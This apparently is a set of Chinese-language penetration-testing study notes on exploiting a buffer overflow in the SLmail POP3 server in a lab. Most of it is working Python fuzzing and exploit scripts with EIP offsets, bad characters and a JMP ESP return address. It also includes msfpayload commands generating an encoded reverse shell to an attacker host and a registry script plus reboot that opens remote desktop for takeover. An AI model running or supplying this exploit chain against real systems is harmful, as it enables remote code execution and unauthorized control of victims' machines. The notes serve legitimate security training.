数据与代码边界不清,导致程序执行代码
脚本:
#! /bin/bash
echo $1
在终端中运行脚本,参数写;或|加上命令,会被系统执行
• 源码审计
• 逆向工程 对编译后的文件反汇编
• 模糊测试 安装包,对程序发送数值,监视反馈
SLmail 安装后开放110,25,180,8376端口
Xp上添加smtp的25端口,pop3的110端口
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
脚本框架:
#! /usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending evil buffer------"
s.connect(('192.168.1.107',110))
data=s.recv(1024)
print data
s.send('USER IEUser' + '\r\n')
data=s.recv(1024)
print data
s.send('PASS test\r\n')
data=s.recv(1024)
print data
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"
溢出探测脚本(发送大数据验证):
#! /usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print"Fuzzing PASS with %s bytes " % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.107',110))
s.recv(1024)
s.send('USER IEUser' + '\r\n')
s.recv(1024)
s.send('PASS '+ string + '\r\n')
s.send('QUIT\r\n')
s.close()
EIP寄存器:下一条指令要执行的地址
内存高位存低地址,低位存高地址,如(内存38443950则为50 39 44 38)
SLmail的PASS命令存在缓冲区溢出漏洞
需要找到精确溢出的 4 个字节
• 二分法
脚本:
#! /usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2700
try:
print "\nSending evil buffer------"
s.connect(('192.168.1.107',110))
data=s.recv(1024)
s.send('USER IEUser' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data=s.recv(1024)
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"
• 唯一字串法
• usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2700 (msf框架里的脚本,生成2700长度的唯一字符串)
pattern_offset.rb 十六进制串 计算对应串在唯一字符串中的偏移量
可从2607开始填进攻击代码
修改EIP寄存器为ESP地址,ESP寄存器中存放攻击代码
脚本(计算ESP寄存器大小):
#! /usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'C'*400
try:
print "\nSending evil buffer------"
s.connect(('192.168.1.107',110))
data=s.recv(1024)
s.send('USER IEUser' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print"\nDone!"
except:
通过地址计算ESP寄存器大小
思路:
• 将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器数值,将跳转到 shellcode 代码段并执行;
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
• 返回地址、Shellcode、buffer中都不能出现坏字符
255个字符,\x01~\xf1,\x02~\xf2,\x03~\xf3…..\x0f~\xff,\x00~\xf0
• null byte (0x00) 空字符,用于终止字符串的拷贝操作
• return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
• 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
重定向数据流
• 用 ESP 的地址替换 EIP 的值
• 但是 ESP 地址变化,硬编码不可行
• SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
• 变通思路
• 在内存中寻找地址固定的系统模块
• 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
• mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
• 寻找无DEP、ALSR保护的内存地址
• 内存地址不包含坏字符
要找到没有保护机制而且系统自带的
• 寻找不受保护的系统模块 • !mona modules
• 将汇编指令 jmp esp 转换为二进制
• ./nasm_shell
• FFE4
• 在模块中搜索 FFE4 指令
• !mona find -s “\xff\xe4” -m slmfc.dll
• 选择不包含坏字符的内存地址
• 在该地址设置断点
FFE4
必须要有可执行权限来绕过DEP防护
5F4B41E3
脚本:
#! /usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'\xe3\x41\x4b\x5f'+'C'*390
try:
print "\nSending evil buffer------"
s.connect(('192.168.1.107',110))
data=s.recv(1024)
s.send('USER IEUser' + '\r\n')
data=s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print"\nDone!"
except:
print"Can't connect to POP3!"
实现跳转
生成shellcode
• Scratch
./msfpayload -l
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d” 对程序编码,去掉坏字符,编码R时必须要用R
buffer='A'*2606+'\xe3\x41\x4b\x5f'+'\x90'*8+shellcode \x90表示什么也不做,防止shellcode前面几个字符被过滤
已经getshell
Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;./msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
获取远程桌面控制权:
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
shutdown -r -t 0 重启电脑
重启后允许远程桌面设置被打开
kali安装rdesktop后,执行rdesktop 192.168.1.107
regsnap工具可以将注册表快照,修改注册表后再抓取快照,可判断注册表键值位置